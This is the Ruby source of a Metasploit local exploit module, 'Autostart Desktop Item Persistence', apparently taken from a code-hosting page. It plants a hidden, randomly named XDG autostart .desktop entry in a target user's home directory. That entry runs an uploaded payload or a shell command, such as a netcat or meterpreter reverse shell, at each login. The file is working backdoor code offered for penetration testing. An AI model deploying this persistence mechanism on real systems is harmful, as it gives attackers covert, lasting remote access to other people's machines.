h00die
131 lines
4.5 KiB
Ruby
131 lines
4.5 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Local
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Rank = ExcellentRanking
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include Msf::Post::File
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include Msf::Post::Unix
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include Msf::Exploit::EXE # for generate_payload_exe
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include Msf::Exploit::FileDropper
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include Msf::Post::Linux::User
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include Msf::Exploit::Local::Persistence
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prepend Msf::Exploit::Remote::AutoCheck
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include Msf::Exploit::Deprecated
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moved_from 'exploits/linux/local/autostart_persistence'
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'Autostart Desktop Item Persistence',
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'Description' => %q{
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This module will create an autostart .desktop entry to execute a payload.
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The payload will be executed when the users logs in.
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Verified on Ubuntu 22.04 desktop with Gnome, and 18.04.3.
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The following payloads were used in testing:
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- cmd/unix/reverse_netcat
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- linux/x64/meterpreter/reverse_tcp
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- cmd/linux/http/x64/meterpreter/reverse_tcp
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},
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'License' => MSF_LICENSE,
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'Author' => [ 'Eliott Teissonniere' ],
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'Platform' => [ 'unix', 'linux' ],
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'Arch' => [
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ARCH_CMD,
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ARCH_X86,
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ARCH_X64,
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ARCH_ARMLE,
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ARCH_AARCH64,
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ARCH_PPC,
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ARCH_MIPSLE,
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ARCH_MIPSBE
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],
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'Payload' => {
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'BadChars' => '#%\n"'
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},
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'SessionTypes' => [ 'shell', 'meterpreter' ],
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'DisclosureDate' => '2006-02-13', # Date of the 0.5 doc for autostart
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'Targets' => [['Automatic', {}]],
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'DefaultTarget' => 0,
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'References' => [
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['ATT&CK', Mitre::Attack::Technique::T1547_013_XDG_AUTOSTART_ENTRIES],
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['URL', 'https://specifications.freedesktop.org/autostart-spec/latest/'],
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],
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'Notes' => {
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'Stability' => [CRASH_SAFE],
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'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
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'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
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}
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)
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)
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register_options([
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OptString.new('BACKDOOR_NAME', [false, 'Name of autostart entry' ]),
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OptString.new('PAYLOAD_NAME', [false, 'Name of the payload file to write']),
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OptString.new('USER', [ false, 'User to target, or current user if blank', '' ]),
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])
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end
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def check
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print_warning('Payloads in /tmp will only last until reboot, you may want to choose elsewhere.') if writable_dir.start_with?('/tmp')
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# https://unix.stackexchange.com/a/237750
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return CheckCode::Safe('Xorg is not installed, likely a server install. Autostart requires a graphical environment') unless command_exists?('Xorg')
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CheckCode::Detected('Xorg is installed, possible desktop install.')
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end
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def target_user
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return datastore['USER'] unless datastore['USER'].blank?
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whoami
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end
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def install_persistence
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print_warning('Payloads in /tmp will only last until reboot, you may want to choose elsewhere.') if writable_dir.start_with?('/tmp') && payload.arch.first != 'cmd'
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user = target_user
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home = get_home_dir(user)
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vprint_status('Making sure the autostart directory exists')
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cmd_exec("mkdir -p #{home}/.config/autostart") # in case no autostart exists
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name = datastore['BACKDOOR_NAME'] || Rex::Text.rand_text_alpha(5..8)
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path = "#{home}/.config/autostart/#{name}.desktop"
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print_status("Uploading autostart file #{path}")
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autostart_stub = [
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'[Desktop Entry]',
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'Type=Application',
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"Name=#{name}",
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'NoDisplay=true',
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'Terminal=false'
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]
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if payload.arch.first == 'cmd'
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write_file(path, (autostart_stub + ["Exec=/bin/sh -c \"#{payload.encoded}\""]).join("\n"))
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else
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payload_path = writable_dir
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payload_path = payload_path.end_with?('/') ? payload_path : "#{payload_path}/"
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payload_name = datastore['PAYLOAD_NAME'] || rand_text_alphanumeric(5..10)
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payload_path << payload_name
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print_status("Uploading payload file to #{payload_path}")
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upload_and_chmodx payload_path, generate_payload_exe
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write_file(path, (autostart_stub + ["Exec=\"#{payload_path}\""]).join("\n"))
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@clean_up_rc << "rm #{payload_path}\n"
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end
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if whoami != user
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cmd_exec("chown #{user}:#{user} #{path}")
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unless payload.arch.first == 'cmd'
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cmd_exec("chown #{user}:#{user} #{payload_path}")
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end
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end
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print_good("Backdoor will run on next login by #{user}")
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@clean_up_rc << "rm #{path}\n"
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end
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end
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